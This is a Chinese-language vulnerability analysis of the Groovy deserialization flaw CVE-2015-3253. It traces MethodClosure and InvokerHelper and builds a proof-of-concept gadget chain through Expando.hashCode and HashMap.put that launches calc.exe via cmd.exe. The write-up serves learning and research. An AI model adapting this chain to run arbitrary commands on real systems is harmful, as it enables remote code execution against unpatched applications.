Groovy 反序列化漏洞分析(CVE-2015-3253)

0x00 前言

  Java反序列化的漏洞爆发很久了，此前一直想学习一下。无奈Java体系太过于复杂，单是了解就花了我很久的时间，再加上懒，就一直拖着，今天恰好有空，参考@iswin大佬两年前的分析，我自己跟踪了一下流程，并按自己的想法重写了一下POC，在此做个记录。

0x01 漏洞环境搭建

  首先我们需要明确的是，该漏洞影响的范围是Groovy 1.7.0-2.4.3。我们借助于Idea构建一个空白的maven项目，然后配置pom.xml文件，添加如下依赖：

    <dependencies>
        <dependency>
            <groupId>org.codehaus.groovy</groupId>
            <artifactId>groovy</artifactId>
            <version>2.4.1</version>
        </dependency>
    </dependencies>

等Idea帮我们导入所需要的依赖库以后，我们就可以开始分析了。

0x02 不安全的对象方法调用

  在搭建好漏洞环境之后我们定位到漏洞现场，在 org.codehaus.groovy.runtime.MethodClosure 类中存在如下代码：

    protected Object doCall(Object arguments) {
        return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
    }

熟悉Java反射机制的话应该不难猜出doCall方法动态调用了指定对象的指定方法，而实际上该类的描述也恰好证实了这一点。我们继续跟进invokeMethod方法，org.codehaus.groovy.runtime.invokeHelper类:

    public static Object invokeMethod(Object object, String methodName, Object arguments) {
        if (object == null) {
            object = NullObject.getNullObject();
        }

        if (object instanceof Class) {
            Class theClass = (Class)object;
            MetaClass metaClass = metaRegistry.getMetaClass(theClass);
            return metaClass.invokeStaticMethod(object, methodName, asArray(arguments));
        } else {
            return !(object instanceof GroovyObject) ? invokePojoMethod(object, methodName, arguments) : invokePogoMethod(object, methodName, arguments);
        }
    }

从方法的参数表中我们可以看出，第一个参数为调用方法的对象，第二个参数为被调用执行的方法，第三个参数的含义为该方法的所需要的参数。

此时我写了一个测试代码如下：

MethodClosure mc = null;
try {
    mc = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");

 } catch (IOException e) { e.printStackTrace(); } mc.call();

运行后：

0x03 寻找利用链

我们此时已经找到能够触发漏洞的点，接下来需要考虑的问题是，寻找调用call方法的地方，实现漏洞的利用。之所以要寻找调用call方法的地方是因为call方法调用了这里的doCall去执行指定对象的指定方法。通过Idea我们发现：

public int hashCode() {
    Object method = this.getProperties().get("hashCode");
    if (method != null && method instanceof Closure) {
        Closure closure = (Closure)method;
        closure.setDelegate(this);
        Integer ret = (Integer)closure.call();
        return ret;
    } else {
        return super.hashCode();
    }
}

在Expando类hashCode方法中调用了call方法，这样我们只需要想办法调用hashCode方法即可调用其call方法。此时我们需要注意，Java中hashCode方法默认会返回该对象在JVM中的内存地址。当比较两个对象是否相等的时候，会调用该对象的hashCode以及equals方法进行比较，如果两个方法返回结果一致，那么比较的结果将返回真。否则，将返回假。

明白了hashCode方法以后，我们再来说说HashMap的put方法。HashMap是Java中的一种k-v数据结构，不允许存在相同的key。所以在put时候是会对key进行比对判断是否会重复的。此时如果我们可以控制key为恶意的对象，那么将会通过hashCode方法执行call方法，从而执行精心构造的代码。

当然在Expando中我们同样发现了toString方法存在调用call方法的代码，但是这里我们先重点关注hashCode方法。

0x04 构造利用代码

经过以上分析， 我们首先构造Expando对象，并通过其setProperty方法设置属性值的键为hashCode，值为我们的恶意对象。代码如下：

Expando ep = new Expando();

ep.setProperty("hashCode", evilObj);

然后通过调用HashMap对象的put方法触发这里恶意对象。

HashMap<Expando, Integer> hashMap = new HashMap<Expando, Integer>();

hashMap.put(ep, 1);

然后这里的evilObj就很容易了，

MethodClosure evilObj = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");

全部代码如下：

// 创建恶意对象
Expando ep = new Expando();

MethodClosure evilObj = new MethodClosure((new ProcessBuilder("C:/windows/system32/cmd.exe", "/c", "C:/windows/system32/calc.exe")), "start");

// 将恶意Closure对象绑定到Expando对象 
ep.setProperty("hashCode", evilObj); 

HashMap<Expando, Integer> hashMap = new HashMap<Expando, Integer>(); 

// 调用put方法从而调用HashCode方法 
hashMap.put(ep, 1);

单步跟踪到hashCode方法的时候执行：